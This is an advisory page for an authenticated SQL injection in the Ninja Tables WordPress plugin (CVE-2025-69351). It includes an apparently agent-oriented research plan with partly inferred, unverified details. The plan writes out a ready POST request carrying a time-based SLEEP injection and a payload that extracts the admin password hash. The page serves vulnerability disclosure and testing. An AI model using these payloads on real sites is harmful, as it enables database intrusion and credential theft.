CVE-2025-69351

Ninja Tables <= 5.2.4 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
5.2.5
Patched in
7d
Time to patch

Description

The Ninja Tables plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.2.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.2.4
PublishedJanuary 7, 2026
Last updatedJanuary 13, 2026
Affected pluginninja-tables

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-69351 - Ninja Tables SQL Injection ## 1. Vulnerability Summary The **Ninja Tables** plugin (versions <= 5.2.4) is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly escape or use `$wpdb->prepare()` for parameters use…

Show full research plan

Research Plan: CVE-2025-69351 - Ninja Tables SQL Injection

1. Vulnerability Summary

The Ninja Tables plugin (versions <= 5.2.4) is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly escape or use $wpdb->prepare() for parameters used in data-fetching queries, specifically those related to table rendering and sorting. Authenticated users with Contributor-level access can exploit this to execute arbitrary SQL commands and extract sensitive data (e.g., WordPress user hashes) from the database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: ninja_tables_ajax_action (Hook: wp_ajax_ninja_tables_ajax_action)
  • Vulnerable Parameter: orderby or order (inferred based on plugin architecture for table sorting).
  • Authentication: Required (Contributor+).
  • Required Data: A valid table_id and a valid ninja_tables_nonce.

3. Code Flow (Inferred from Plugin Structure)

  1. Entry Point: The request hits admin-ajax.php with action=ninja_tables_ajax_action.
  2. Dispatcher: The NinjaTables\App\Hooks\Handlers\AjaxHandler::handle() method (or similar) receives the request.
  3. Routing: Based on the route or method parameter, it calls a controller, likely NinjaTables\App\Http\Controllers\TableController.
  4. Data Fetching: The controller calls getTableRows() or getTableData().
  5. Vulnerable Sink: Inside the data fetching logic, the sorting parameters (orderby and order) are taken from the $_REQUEST object and concatenated directly into an SQL string used by $wpdb->get_results() without sufficient preparation.

4. Nonce Acquisition Strategy

Ninja Tables localizes its configuration and security tokens for the admin dashboard. Contributors can access the Ninja Tables menu if they have been granted permissions or if the plugin defaults allow it for the table builder.

  1. Shortcode/Page Setup: Ninja Tables scripts are usually enqueued on its own admin pages.
  2. Navigation: Navigate to the Ninja Tables dashboard: /wp-admin/admin.php?page=ninja_tables.
  3. JS Variable Extraction:
    • Variable Name: ninja_tables_admin_vars (inferred).
    • Nonce Key: nonce.
    • Execution:
      browser_eval("window.ninja_tables_admin_vars?.nonce")
      

5. Exploitation Strategy

We will use a time-based blind SQL injection to confirm the vulnerability and then extract the admin's password hash.

Step 1: Confirm Injection (Time-Based)

Send a request that triggers a 5-second delay.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ninja_tables_ajax_action&
    route=get_table_data&
    table_id=[TABLE_ID]&
    orderby=id AND (SELECT 1 FROM (SELECT SLEEP(5))x)&
    order=ASC&
    ninja_tables_nonce=[NONCE]
    

Step 2: Extract Data (Boolean/Time-Based)

Since table data is often returned as JSON, we can also attempt Union-Based injection if the query structure allows, but Time-Based is the most reliable fallback.

Payload to check first character of admin password:
id AND (SELECT 1 FROM (SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0))x)

6. Test Data Setup

  1. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Table Creation: Create a dummy table so we have a valid table_id.
    • Use the Ninja Tables UI or WP-CLI if the plugin supports it to create at least one table.
    • wp eval "echo NinjaTables\App\Models\Table::create(['title' => 'Test Table'])->id;" (inferred class).
  3. Permissions: Ensure the contributor can see the table list to extract the nonce.

7. Expected Results

  • Initial Request: Should return quickly (normal table data).
  • Exploit Request: The HTTP response should be delayed by exactly 5 seconds (plus network overhead).
  • Response Content: If Union-based is used, the JSON rows array will contain the results of the injected SELECT statement.

8. Verification Steps

  1. Check Database: Verify the presence of the table created during setup.
    • wp db query "SELECT id FROM wp_ninja_tables LIMIT 1;"
  2. Validate SQLi via Logs: If WP_DEBUG is enabled, check /wp-content/debug.log for the malformed query error if the payload is slightly incorrect, confirming the sink.
  3. Credential Extraction: Compare the character extracted via SLEEP() with the actual hash in the database.
    • wp db query "SELECT user_pass FROM wp_users WHERE ID=1;"

9. Alternative Approaches

  • Order Parameter: If orderby is sanitized, check the order parameter (e.g., order=ASC, (SELECT 1 FROM (SELECT SLEEP(5))x)).
  • REST API: Check if the plugin registers REST routes (e.g., /wp-json/ninja-tables/v1/...) that use the same underlying controller logic. SQL injection in sorting parameters is often mirrored across AJAX and REST.
  • Filter Parameters: Parameters like filter_column or custom column keys in the get_table_data route might also be unsanitized.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Ninja Tables plugin for WordPress (versions up to 5.2.4) is vulnerable to SQL injection because it fails to properly escape or use $wpdb->prepare() for parameters used in data-fetching and sorting queries. This allows authenticated attackers with Contributor-level access or higher to execute arbitrary SQL commands and extract sensitive information from the database.

Exploit Outline

The vulnerability is exploited through the 'ninja_tables_ajax_action' AJAX endpoint by authenticated users. An attacker identifies a valid table and its associated nonce, then submits a POST request with a malicious payload in parameters like 'orderby'. By using time-based blind SQL injection techniques (e.g., SLEEP functions), the attacker can systematically extract database contents, including WordPress user password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.